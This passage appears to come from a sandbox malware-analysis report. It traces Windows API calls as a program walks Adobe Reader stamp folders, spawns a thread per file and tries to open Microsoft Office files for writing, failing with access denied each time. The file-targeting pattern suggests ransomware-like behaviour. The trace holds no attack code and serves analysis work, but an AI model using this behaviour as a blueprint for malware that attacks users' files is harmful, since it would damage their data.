10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Dynamic.pdf" [0170.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f90a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1420 [0170.537] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0170.537] wcscmp (_String1="Faces.pdf", _String2=".") returned 1 [0170.537] wcscmp (_String1="Faces.pdf", _String2="..") returned 1 [0170.537] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb4) returned 0xd4c7940 [0170.537] wcscpy (in: _Dest=0xd4c7940, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR" [0170.537] wcscat (in: _Dest=0xd4c7940, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\" [0170.537] wcscat (in: _Dest=0xd4c7940, _Source="Faces.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Faces.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Faces.pdf" [0170.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c7940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c [0170.538] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0170.538] wcscmp (_String1="Pointers.pdf", _String2=".") returned 1 [0170.538] wcscmp (_String1="Pointers.pdf", _String2="..") returned 1 [0170.538] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0xd4b9c60 [0170.539] wcscpy (in: _Dest=0xd4b9c60, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR" [0170.539] wcscat (in: _Dest=0xd4b9c60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\" [0170.539] wcscat (in: _Dest=0xd4b9c60, _Source="Pointers.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Pointers.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Pointers.pdf" [0170.539] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b9c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x758 [0170.540] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb189, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0170.540] wcscmp (_String1="SignHere.pdf", _String2=".") returned 1 [0170.540] wcscmp (_String1="SignHere.pdf", _String2="..") returned 1 [0170.540] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0xd4b9eb8 [0170.540] wcscpy (in: _Dest=0xd4b9eb8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR" [0170.540] wcscat (in: _Dest=0xd4b9eb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\" [0170.540] wcscat (in: _Dest=0xd4b9eb8, _Source="SignHere.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\SignHere.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\SignHere.pdf" [0170.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b9eb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754 [0170.542] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0170.542] wcscmp (_String1="Standard.pdf", _String2=".") returned 1 [0170.542] wcscmp (_String1="Standard.pdf", _String2="..") returned 1 [0170.542] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0xd4b9d28 [0170.542] wcscpy (in: _Dest=0xd4b9d28, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR" [0170.542] wcscat (in: _Dest=0xd4b9d28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\" [0170.542] wcscat (in: _Dest=0xd4b9d28, _Source="Standard.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Standard.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Standard.pdf" [0170.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b9d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750 [0170.544] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x58891, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0170.544] wcscmp (_String1="StandardBusiness.pdf", _String2=".") returned 1 [0170.545] wcscmp (_String1="StandardBusiness.pdf", _String2="..") returned 1 [0170.545] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xca) returned 0x8de098 [0170.545] wcscpy (in: _Dest=0x8de098, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR" [0170.545] wcscat (in: _Dest=0x8de098, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\" [0170.545] wcscat (in: _Dest=0x8de098, _Source="StandardBusiness.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\StandardBusiness.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\StandardBusiness.pdf" [0170.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8de098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4 [0170.546] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x58891, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0170.546] FindClose (in: hFindFile=0x93aff8 | out: hFindFile=0x93aff8) returned 1 [0170.547] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x906dd8) returned 1 [0170.547] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9431c0) returned 1 [0170.547] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934918) returned 1 Thread: id = 5549 os_tid = 0x14b0 [0165.843] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\words.pdf")) returned 0x20 [0166.781] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf", dwFileAttributes=0x20) returned 0 [0166.781] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\words.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0166.781] GetLastError () returned 0x5 [0166.781] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf", dwFileAttributes=0x20) returned 0 [0166.781] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4718) returned 1 Thread: id = 5601 os_tid = 0x15d0 [0165.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB1B.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub1b.bdr")) returned 0x20 [0170.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB1B.BDR", dwFileAttributes=0x20) returned 0 [0170.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB1B.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub1b.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.171] GetLastError () returned 0x5 [0170.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB1B.BDR", dwFileAttributes=0x20) returned 0 [0170.171] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51518) returned 1 Thread: id = 5639 os_tid = 0x1678 [0166.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml")) returned 0x20 [0166.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml", dwFileAttributes=0x20) returned 0 [0166.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0166.539] GetLastError () returned 0x5 [0166.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml", dwFileAttributes=0x20) returned 0 [0166.539] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b078) returned 1 Thread: id = 5640 os_tid = 0x1198 [0166.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.gpd" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote.gpd")) returned 0x20 [0166.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.gpd", dwFileAttributes=0x20) returned 0 [0166.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.gpd" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote.gpd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0166.545] GetLastError () returned 0x5 [0166.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.gpd", dwFileAttributes=0x20) returned 0 [0166.545] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aaf68) returned 1 Thread: id = 5688 os_tid = 0x1a90 [0166.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl087.xml")) returned 0x20 [0166.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML", dwFileAttributes=0x20) returned 0 [0166.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl087.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0166.556] GetLastError () returned 0x5 [0166.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML", dwFileAttributes=0x20) returned 0 [0166.556] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7d48) returned 1 Thread: id = 5689 os_tid = 0x1a94 [0166.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl089.xml")) returned 0x20 [0166.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML", dwFileAttributes=0x20) returned 0 [0166.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl089.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0166.557] GetLastError () returned 0x5 [0166.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML", dwFileAttributes=0x20) returned 0 [0166.558] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7718) returned 1 Thread: id = 5690 os_tid = 0x1a98 [0166.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl090.xml")) returned 0x20 [0166.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML", dwFileAttributes=0x20) returned 0 [0166.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl090.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0166.559] GetLastError () returned 0x5 [0166.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML", dwFileAttributes=0x20) returned 0 [0166.559] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8498) returned 1 Thread: id = 5691 os_tid = 0x1ac0 [0166.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl092.xml")) returned 0x20 [0166.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML", dwFileAttributes=0x20) returned 0 [0166.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl092.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0166.561] GetLastError () returned 0x5 [0166.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML", dwFileAttributes=0x20) returned 0 [0166.561] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7dd8) returned 1 Thread: id = 5692 os_tid = 0x1ac4 [0166.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl093.xml")) returned 0x20 [0167.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML", dwFileAttributes=0x20) returned 0 [0167.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl093.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.427] GetLastError () returned 0x5 [0167.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML", dwFileAttributes=0x20) returned 0 [0167.427] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7b08) returned 1 Thread: id = 5693 os_tid = 0x1ae4 [0166.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl095.xml")) returned 0x20 [0167.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML", dwFileAttributes=0x20) returned 0 [0167.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl095.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.428] GetLastError () returned 0x5 [0167.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML", dwFileAttributes=0x20) returned 0 [0167.428] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7b98) returned 1 Thread: id = 5694 os_tid = 0x1af0 [0166.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl096.xml")) returned 0x20 [0167.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML", dwFileAttributes=0x20) returned 0 [0167.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl096.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.051] GetLastError () returned 0x5 [0167.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML", dwFileAttributes=0x20) returned 0 [0167.051] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e80a8) returned 1 Thread: id = 5695 os_tid = 0x1af4 [0166.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl097.xml")) returned 0x20 [0167.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML", dwFileAttributes=0x20) returned 0 [0167.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl097.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.050] GetLastError () returned 0x5 [0167.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML", dwFileAttributes=0x20) returned 0 [0167.050] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7208) returned 1 Thread: id = 5696 os_tid = 0x1af8 [0166.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl102.xml")) returned 0x20 [0167.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML", dwFileAttributes=0x20) returned 0 [0167.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl102.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.049] GetLastError () returned 0x5 [0167.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML", dwFileAttributes=0x20) returned 0 [0167.049] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6758) returned 1 Thread: id = 5697 os_tid = 0x1b00 [0166.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl103.xml")) returned 0x20 [0167.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML", dwFileAttributes=0x20) returned 0 [0167.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl103.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.431] GetLastError () returned 0x5 [0167.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML", dwFileAttributes=0x20) returned 0 [0167.431] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6bd8) returned 1 Thread: id = 5698 os_tid = 0x1b04 [0166.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl104.xml")) returned 0x20 [0167.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML", dwFileAttributes=0x20) returned 0 [0167.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl104.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.430] GetLastError () returned 0x5 